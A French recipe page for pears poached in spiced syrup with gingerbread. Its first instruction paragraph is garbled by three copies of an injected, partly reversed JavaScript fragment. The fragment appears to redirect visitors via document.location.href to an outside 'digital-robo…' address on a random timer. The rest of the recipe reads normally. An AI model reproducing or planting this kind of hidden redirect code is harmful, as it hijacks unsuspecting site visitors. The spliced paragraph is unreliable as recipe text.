Poires en cocotte avec du pain d’épices
2021-04-13- Thématique : Végétarien
- Niveau : Difficile
Versez l’eau froide dans une cocotte avec le sucre en poudre, le bâtobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}ton de cannelle, l’étobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toile de badiane tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en mélangeant. Portez à ébullition pendant de 10 minutes
Ingrédients
Versez l'eau froide dans une cocotte avec le sucre en poudre, le bâton de cannelle, l'étoile de badiane tout en mélangeant. Portez à ébullition pendant de 10 minutes Pendant ce temps pelez et coupez en deux les poires. Ôtez le cœur. Les plonger dans le sirop.
Portez à nouveau ébullition. Baissez le feu et faites cuire les poires pendant 40 minutes, en les arrosant régulièrement.
10 minutes avant la fin de cuisson émiettez les tranches de pain d'épices que vous incorporez dans les poires.
Vérifiez la cuisson des poires en les piquants avec la pointe d'un couteau. Retirez la cocotte du feu et laissez refroidir.
Servez les poires dans des verres où des ramequins. Arrosez de sirop de cuisson accompagné de boule de glace à la vanille
Préparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
Etape 5
Etape 6
Etape 7
Etape 8
Etape 9
Etape 10
Etape 11
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